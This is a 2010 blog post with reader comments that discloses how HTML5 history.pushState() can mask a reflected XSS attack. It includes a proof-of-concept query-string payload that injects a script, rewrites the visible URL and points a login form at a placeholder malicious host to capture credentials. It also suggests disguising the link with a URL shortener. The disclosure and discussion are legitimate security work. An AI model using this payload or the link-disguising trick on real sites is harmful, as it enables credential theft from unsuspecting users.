How to Conceal XSS Injection in HTML523rd of Dec 2010 - Samuli Hakoniemi

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

3 thoughts on “How to Conceal XSS Injection in HTML5

  1. This technique is already used in xss-track project (used to simulate standard site navigation while hijacking every page on a attacked site) – see http://blog.kotowicz.net/2010/11/xss-track-got-ninja-stealth-skills.html .

    What is worth mentioning – history.pushState() works only for a current domain, so there needs to be a XSS vuln on a site you wish to display in address bar. But still, it allows for pretty neat attacks.

  2. Hi, Samuli.

    Interesting post, but don’t you think this is only an old security problem (XSS)?

    I think pushState is only a new feature that can fool the user and can be used in a XSS attack. But this could be done by a simple “window.alert” called indefinitely, don’t you think?

  3. Samuli Hakoniemi on said:

    Thanks for your question.

    The main idea of using pushState is masking both pathname and query parameters. Consider following:
    http://www.goodsite.com/article.php?id=xss vector]
    is rephrased with pushState as:
    http://www.goodsite.com/login

    XSS is injected while user is tricked to think he’s really on the login page since both visual (site layout) and technical (visible and trustworthy URL) clues are indicating that.

    So, the goal is to minimize the possibility that any of the users eg. on a discussion forum where shortened link is shared would recognize it as malicious URL.